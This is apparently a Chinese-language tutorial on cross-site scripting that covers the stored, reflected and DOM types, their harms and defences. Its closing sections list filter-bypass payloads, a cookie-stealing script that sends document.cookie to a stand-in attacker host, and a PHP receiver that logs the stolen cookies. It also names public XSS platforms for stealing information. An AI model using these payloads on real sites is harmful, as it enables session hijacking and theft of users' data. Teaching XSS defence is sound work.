XSS(Cross Site Script Attack)的原理
xss一般发生在web前端的漏洞,所以其危害的对象也主要是前端客户。
原理: 将数据注入到静态脚本代码中,当浏览器渲染整个HTML文档的过程中触发了注入的脚本,导致了xss攻击的发生。
1.1 漏洞形成的原因
形成xss漏洞的主要原因是:网站没有对用户传入的数据进行严格的过滤和转义处理,导致程序会将攻击者上传的恶意脚本当做代码来执行,并返回非法的数据。
1.2 漏洞带来的危害
- XSS漏洞可以用来进行钓 鱼攻击、前端js挖 矿、用户cookie获取、网站挂 马。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
- 获取管理员cookie,进入到网站后台
危害: 存储型>反射型>DOM型
1.3 XSS的三种攻击类型
1.3.1 存储型XSS(持久型跨站脚本攻击)
恶意脚本代码被攻击者存储到了服务器的数据库中,当其他用户正常访问网页时就会被存储在数据库中的恶意脚本攻击。
特点: 存储型XSS不需要用户去点击修改的URL进行触发;
攻击者可以用作钓鱼,挂马等操作,更严重的可以用此类XSS编写危害性更大的XSS蠕 虫。
攻击流程:
- 攻击者将恶意脚本发送到网站并存储到数据库中,该恶意脚本中包含攻击者服务器中恶意脚本文件地址。
- 当普通用户正常浏览该网站时,注入到数据库中的恶意脚本会生效。
- 存储到网站数据库中的恶意脚本会去访问攻击者服务器中的恶意脚本文件。
- 恶意脚本文件会窃取用户的个人信息,并存储到自己的数据库中。
1.3.2 反射型XSS
反射型xss只是服务器简单的将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行了输出
特点: 攻击者会在URL中注入恶意的脚本,通过诱骗或加密变形的方式诱导普通用户点击,然后通过url中的脚本来窃取数据。
攻击流程:
- 攻击者将一个包含自己服务器中的恶意脚本文件的URL发送给普通用户,该恶意脚本文件中包含攻击者想要获取的数据。
- 当用户通过点击该链接进入到网站后,服务器在处理完数据后会包含恶意代码返回到用户服务器
- 浏览器会去解析攻击者服务器中的恶意脚本文件,并将攻击者想要获取的数据信息插入到页面中返回
1.3.3 Dom型XSS
基于Dom的xss不会将URL中包含的恶意脚本文件发送到服务器中,受害者的浏览器也不会解析恶意的字符串,直到执行网站的合法JS。
特点: 即使服务器端使用了完全安全的代码过滤,客户端仍可能从攻击者修改的恶意URL中不安全的加载Dom。
流程:
- 攻击者诱骗用户在网站点击包含了恶意字符串的URL
- 该网站收到请求,但响应中不包含恶意字符串
- 受害者的浏览器在响应内执行合法脚本,从而将恶意脚本插入页面
- 受害者的浏览器执行插入页面的恶意脚本,并将用户信息返回到攻击者服务器
1.3.3 Dom型与其它两种的差别
- 在反射型和存储型xss攻击中,服务器会通过get或post的方式将攻击者注入的恶意脚本当做参数接受,当服务器处理完数据返回HTML页面到浏览器时会将恶意的脚本一并返回,最后浏览器会执行服务器返回HTML页面中的恶意脚本。
- 在Dom型xss攻击中,恶意脚本不会被服务器接收处理;当浏览器在加载服务器返回的正常HTML页面时,会以不安全的方式处理用户输入,因此恶意脚本会在页面加载后的某个时刻加载。
1.4 防御方式
在xss漏洞的防范上一般会采用对“输入进行过滤”和“输出进行转义”。
① 使用XSS Filter:
对提交的内容进行过滤、对url中的参数进行过滤;对动态输出到页面的内容进行URL编码,是脚本无法在浏览器中进行执行。
② 输入过滤:
- 输入是否仅仅包含合法的字符
- 输入字符串是否超过最大长度限制
- 输入如果为数字,数字是否在指定的范围
- 输入是否符合特殊的格式要求,如E-mail地址、IP地址等
③ 输出转码:
使用PHP的库函数htmlspecialchars()
可以将HTML字符转换为字符实体编码:
<(小于号) 转成
<
;
> (大于号)转成>
;
& (和号)转成&
;
" (双引号)转成"
;
’ (单引号)转成'
;
④ 黑名单和白名单
⑤ 设置httponly
⑥ 开启同源策略
1.5 xss漏洞挖掘方法
1.5.1 工具挖掘
xss漏洞挖掘工具:awvs、netsparke、appscan、burp、xsser、xsscrapy、brutexssr、OWASP Xenotix
1.5.2 手工挖掘
闭合标签: 要想使写入的脚本生效 **必须先闭合标签 **。
常见的一句话闭合标签: '"<></p></tr></td></div></textarea><script>alert(/xss/)</script>
将此一句话闭合标签输出后,就可以知道一般的xss漏洞的闭合标签
常用的绕过方法:
- 大小写绕过:
<Sript>alert('XSS')</Script>
- 双写绕过:
<scri<script>pt>alert('XSS')</script>
- 绕过关键字:
<img src="" onerror=alert('Xss')>
(还可以使用一句话:'"<>on / script img href src
来确定被过滤的关键字) - PHP伪协议:
<a href="javascript:alert('xss')">
、onclick="javascript:alert(/xss/)"
- 转换编码格式:
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 47, 120, 115, 115, 47, 41)</script>
(String.fromCharCode()是js中的字符串方法,用来把ASCII转换为字符串)
转换为HTML编码、左尖括号(<)=\u003c
、右尖括号(>)=\u003e
1.5.3 盗取cookie
通过xss注入恶意脚本——恶意脚本:
<script src="http://hack/cookie.php?cookie="+document.cookie></script>
攻击者服务器中的存储cookie的恶意脚本文件——恶意文件:
<?php $cookie=$_GET['cookie']; $file=fopen("cookie.txt","w+"); fwrite($file, $cookie); fclose($file); ?>
注:可以百度搜索 xss平台 来直接使用别人已经封装好的xss脚本来盗取别人信息(https://xss.yt、https://xss.pt/)